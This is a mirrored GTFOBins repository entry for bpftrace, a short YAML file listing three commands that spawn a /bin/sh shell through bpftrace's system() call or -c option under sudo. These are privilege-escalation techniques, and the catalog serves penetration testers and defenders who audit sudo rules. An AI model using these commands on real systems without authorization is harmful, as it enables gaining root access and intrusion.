1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/bpftrace
2026-01-15 23:28:21 +01:00

18 lines
370 B
Plaintext

---
functions:
shell:
- code: |-
bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}'
contexts:
sudo:
- code: |-
echo 'BEGIN {system("/bin/sh 1<&0");exit()}' >/path/to/temp-file
bpftrace --unsafe /path/to/temp-file
contexts:
sudo:
- code: |-
bpftrace -c /bin/sh -e 'END {exit()}'
contexts:
sudo:
...